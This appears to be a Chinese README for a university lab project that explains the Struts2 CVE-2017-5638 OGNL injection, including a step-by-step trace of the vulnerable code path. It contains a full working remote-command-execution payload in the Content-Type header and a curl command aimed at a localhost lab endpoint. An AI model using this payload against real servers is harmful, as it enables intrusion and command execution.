
Struts2 应用程序易受 CVE-2017-5638 漏洞影响。解释了漏洞利用如何与 OGNL 和 JakartaMultiPart 解析器相关的工作原理。
本内容仅用于教育和研究目的。我不授权或支持任何非法或不道德地使用本项目内容或信息的行为。
运行 Web 应用:
使用命令行模拟器(Send.jar)项目 发送命令:
空 URL 默认为 http://localhost:8080/MSCybersecurity/exploit,你必须访问 /exploit 端点

如果你想修改此源码,项目使用 Maven 构建系统:
NVD CVE-2017-5638
此漏洞的巧妙之处在于利用了 OGNL(对象图导航库)。
OGNL 使用表达式执行任务,其中两个允许的表达式是:在框架中调用任意类,以及链式调用事件。参考指南:OGNL 语言指南。
例如,可以通过 OGNL 实例化 edu.uvu.ms.cybersecurity.Command 对象:
// OGNL 表达式,实例化 Command 对象
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
edu.uvu.ms.cybersecurity.Command 类:
// Command 简单地打印从 OGNL 表达式传入的 cmd 参数
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL 接收到 cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL 接收到 cmd: "+this.cmd+" 来自 "+loc);
}
}
或者,更实际地,可以调用 java.lang.ProcessBuilder 类来运行系统级命令:
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
以下有效载荷包含一个命令,调用 edu.uvu.ms.cybersecurity.Command 并将发送到服务器的命令打印到控制台,然后继续执行该命令(以展示事件链式调用和类调用):
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
使用 CURL 发送有效载荷:
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
此有效载荷的一部分取自 Rapid7 GitHub
Jakarta MultiPart 解析器:
问题在于解析器没有转义 Content-Type 头部中传入的值。这意味着可以将 OGNL 表达式打包到 Content-Type 头部中。当头部被确定为 MultiPart 时,它会被发送到 OgnlTextParser.class,后者简单地解释 OGNL 表达式,并随后导致执行任意命令。
以下是此漏洞被利用的逐步说明。
Struts2 分发器:org.apache.struts2.dispatcher.Dispatcher
Struts Dispatcher.class 接收请求,并确定应由 JakartaMultiPart 库处理,然后调用 MultiPartRequestWrapper() 构造函数

然后,来自 Content-Type 头部的 OGNL 表达式被传入 parse() 方法。由于头部信息错误,解析器将抛出异常并调用 buildErrorMessage() 方法

buildErrorMessage() 方法尝试查找合适的错误消息返回给用户,但为此,它必须使用 LocalizedTextUtil.class 的 findText() 方法

LocalizedTextUtil.class 的 findText 方法将依次调用 getDefaultMessage() 并传入 Content-Type 信息

getDefaultMessage() 方法随后将委托给 TextParseUtil.class 的 translateVariables() 方法

TextParseUtil.class 的 translateVariables() 方法委托给 OgnlTextParser.class 的 evaluate 方法

结果是任何 OGNL 表达式现在都被执行
